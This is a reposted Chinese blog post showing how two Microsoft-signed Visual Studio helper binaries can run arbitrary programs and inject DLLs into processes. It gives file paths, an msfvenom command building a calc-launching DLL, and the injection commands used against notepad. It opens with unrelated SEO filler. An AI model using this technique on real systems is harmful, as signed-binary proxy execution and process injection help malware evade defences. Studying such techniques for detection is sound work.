龙空技术网

有趣的命令行系列,使用微软签名的二进制文件进行dll inject

海阳顶端 481

前言:

眼前看官们对“易语言编写dll文件”大概比较关注,朋友们都想要了解一些“易语言编写dll文件”的相关资讯。那么小编也在网摘上汇集了一些关于“易语言编写dll文件””的相关内容,希望姐妹们能喜欢,各位老铁们一起来了解一下吧!

有趣的命令行系列又来了,这次带来了两个新的命令,是安装visual studio ide时,勾选了nodejs和python才有的。

第一个命令是Microsoft.NodejsTools.PressAnyKey.exe,默认目录是在C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools。微软的IDE下的工具当然带有微软的数字签名了。

这个命令比较简单,默认语法是:

Microsoft.NodejsTools.PressAnyKey.exe normal <random-file-name> <exe>

你可以把Microsoft.NodejsTools.PressAnyKey.exe拷贝出来单独用,像我是放在了D盘。

运行计算器:Microsoft.NodejsTools.PressAnyKey.exe normal 1 calc.exe

第二个命令是inject_dll_amd64.exe,当然同目录下也有个inject_dll_x86.exe。目录在

C:\Program Files(x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\Extensions\Microsoft\Python\Core\debugpy\_vendored\pydevd\pydevd_attach_to_process

看名字就知道是用来dll inject的,也是带有微软签名的。我们先来生成一个执行计算器的dll。我生成的是64位的。

msfvenom -a x64 --platform windows -p windows/x64/exec CMD="calc.exe" -f dll -o calc.dll

我们来执行看一下。

taskkill /f /im notepad.exe //杀死记事本进程

notepad && tasklist |find "notepad.exe" //找到记事本进程的pid。

inject_dll_amd64.exe 11904 D:\dll_inject_vs_binaries\calc64.dll

//calc64.dll就是kali下生成的,我改了个名。11904是刚启动的记事本的pid。

我也试过用别的进程的pid,用了chome的没成功,用记事本的成功了。

当然你用inject_dll_x86.exe就要用32位的dll了。最后再附一个如何用go语言写dllmain样式的dll代码吧。

编译方法是go build -ldflags "-s -w" -buildmode=c-shared -o calc.dll 1.go。

标签: #易语言编写dll文件 #nodejs加载dll